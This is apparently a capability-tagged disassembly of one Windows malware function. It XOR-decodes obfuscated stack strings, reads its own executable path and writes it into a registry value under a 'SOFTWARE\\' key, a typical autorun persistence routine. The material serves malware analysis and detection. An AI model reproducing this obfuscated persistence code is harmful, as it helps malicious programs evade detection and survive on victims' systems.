Function at 0x409abb
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
mov dword [ebp - 4], ecx
xor ebx, ebx
push edi
mov ecx, 0x10000
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x409d59
mov byte [ebp - 8], 0x26
mov byte [ebp - 7], 4
mov byte [ebp - 6], 4
mov byte [ebp - 5], bl
mov al, byte [ebp - 8]
mov eax, ebx
sub byte [ebp + eax - 8], 4
inc eax
cmp eax, 3
jb 0x409af4
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 8]
push eax
push esi
call edi
push 0x7fff
lea eax, [esi + 2]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x409d52
mov dword [ebp - 0x18], 0x43
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor al, 0x22
mov byte [ebp - 0x14], al
mov eax, dword [ebp - 0x18]
inc al
mov byte [ebp - 0x13], al
mov eax, dword [ebp - 0x18]
add al, 2
xor al, 0x20
mov byte [ebp - 0x12], al
mov eax, dword [ebp - 0x18]
add al, 3
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0x18]
add al, 4
xor al, 0x2f
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x18]
add al, 5
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x18]
add al, 6
xor al, 0x56
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x18]
add al, 7
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x18]
add al, 8
xor al, 0x2d
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x18]
add al, 9
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x18]
add al, 0xa
mov byte [ebp - 9], bl
mov byte [ebp - 0xa], al
mov al, byte [ebp - 0x14]
mov al, byte [ebp + edx - 0x14]
mov ecx, dword [ebp - 0x18]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x14], cl
inc edx
cmp edx, 0xb
jb 0x409b93
lea eax, [ebp - 0x14]
mov byte [ebp - 9], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 0x54], 0x4b
mov edx, ebx
mov byte [ebp - 0x50], 0x18
mov byte [ebp - 0x4f], 4
mov byte [ebp - 0x4e], 0xd
mov byte [ebp - 0x4d], 0x1f
mov byte [ebp - 0x4c], 0x1c
mov byte [ebp - 0x4b], 0xa
mov byte [ebp - 0x4a], 0x19
mov byte [ebp - 0x49], 0xe
mov byte [ebp - 0x48], 0x17
mov byte [ebp - 0x47], 6
mov byte [ebp - 0x46], 0x22
mov byte [ebp - 0x45], 0x28
mov byte [ebp - 0x44], 0x39
mov byte [ebp - 0x43], 0x24
mov byte [ebp - 0x42], 0x38
mov byte [ebp - 0x41], 0x24
mov byte [ebp - 0x40], 0x2d
mov byte [ebp - 0x3f], 0x3f
mov byte [ebp - 0x3e], 0x17
mov byte [ebp - 0x3d], 0x1c
mov byte [ebp - 0x3c], 0x22
mov byte [ebp - 0x3b], 0x25
mov byte [ebp - 0x3a], 0x2f
mov byte [ebp - 0x39], 0x24
mov byte [ebp - 0x38], 0x3c
mov byte [ebp - 0x37], 0x38
mov byte [ebp - 0x36], 0x17
mov byte [ebp - 0x35], 8
mov byte [ebp - 0x34], 0x3e
mov byte [ebp - 0x33], 0x39
mov byte [ebp - 0x32], 0x39
mov byte [ebp - 0x31], 0x2e
mov byte [ebp - 0x30], 0x25
mov byte [ebp - 0x2f], 0x3f
mov byte [ebp - 0x2e], 0x1d
mov byte [ebp - 0x2d], 0x2e
mov byte [ebp - 0x2c], 0x39
mov byte [ebp - 0x2b], 0x38
mov byte [ebp - 0x2a], 0x22
mov byte [ebp - 0x29], 0x24
mov byte [ebp - 0x28], 0x25
mov byte [ebp - 0x27], 0x17
mov byte [ebp - 0x26], 0x19
mov byte [ebp - 0x25], 0x3e
mov byte [ebp - 0x24], 0x25
mov al, byte [ebp - 0x50]
mov byte [ebp - 0x23], bl
mov al, byte [ebp + edx - 0x50]
mov ecx, dword [ebp - 0x54]
xor cl, al
mov byte [ebp + edx - 0x50], cl
inc edx
cmp edx, 0x2d
jb 0x409c79
lea eax, [ebp - 0x58]
mov byte [ebp - 0x23], bl
push eax
lea eax, [ebp - 0x50]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x409d52
mov dword [ebp - 0x20], 0x29
mov edx, ebx
mov byte [ebp - 0x1c], 0x52
mov byte [ebp - 0x1b], 0x29
mov byte [ebp - 0x1a], 0x29
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x19], bl
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
xor cl, al
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 3
jb 0x409cc5
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x19], bl
push eax
lea eax, [ebp - 0xa8]
push eax
call edi
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0xa8]
push eax
call edi
mov byte [ebp - 4], 0x82
mov byte [ebp - 3], 5
mov byte [ebp - 2], 5
mov byte [ebp - 1], bl
mov al, byte [ebp - 4]
mov eax, ebx
sub byte [ebp + eax - 4], 5
inc eax
cmp eax, 3
jb 0x409d0e
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xa8]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push esi
push 1
push ebx
lea eax, [ebp - 0xa8]
push eax
push dword [ebp - 0x58]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x58]
neg eax
sbb ebx, ebx
inc ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, esi
call fcn.00405cd2
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret